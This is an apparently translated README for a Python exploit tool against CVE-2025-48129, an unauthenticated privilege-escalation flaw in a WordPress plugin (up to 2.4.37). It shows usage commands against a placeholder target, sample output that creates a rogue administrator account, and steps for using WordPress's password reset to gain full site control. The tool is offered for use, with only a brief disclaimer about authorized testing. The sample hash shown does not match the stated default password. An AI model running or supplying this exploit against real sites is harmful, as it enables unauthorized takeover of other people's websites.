<= 2.4.37CVE-2025-481299.8(严重)未认证的攻击者可以在无需任何先前访问权限的情况下,通过创建管理员级别账户来提升权限。这允许完全接管 WordPress 站点。
归类于:OWASP A7 – 身份识别与认证失败
此 Python 脚本针对插件受影响版本,仅使用邮箱和密码(通过 MD5 哈希)即可注册一个新的 WordPress 管理员。
python CVE-2025-48129.py -u http://target-site.com/wordpress -mail [email protected] -p nxploitadmin
python CVE-2025-48129.py -help
usage: CVE-2025-48129.py [-h] -u URL -mail MAIL [-p PASSWORD]
CVE-2025-48129 - Unauthenticated Privilege Escalation Exploit by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL (e.g., http://site.com/)
-mail, --mail MAIL Email for the new Admin account
-p, --password PASSWORD Password to set (default: nxploitadmin)
[*] Checking plugin version...
[*] Plugin version: 2.4.37
[*] Vulnerable version detected. Exploiting...
[+] Exploitation successful!
[*] Login credentials:
Username: [email protected]
Password: 21232f297a57a5a743894a0e4a801fc3
[*] If login fails, reset the password manually via:
http://target-site.com/wordpress/wp-login.php?action=lostpassword
在某些情况下,直接使用所选密码登录可能会失败。
这不是漏洞利用程序的错误,而是受影响插件如何将哈希密码传递给 WordPress 内部用户创建系统的结果。
如果您无法登录,请通过电子邮件重置密码,使用以下 URL:
http://target-site.com/wordpress/wp-login.php?action=lostpassword
WordPress 将向您刚刚创建的管理员账户发送密码重置电子邮件 — 从而授予您完全访问权限。
此工具仅供教育和授权的渗透测试目的使用。
作者对因使用此脚本而造成的误用或损害不承担任何责任。
作者:Nxploited ( Khaled_alenazi )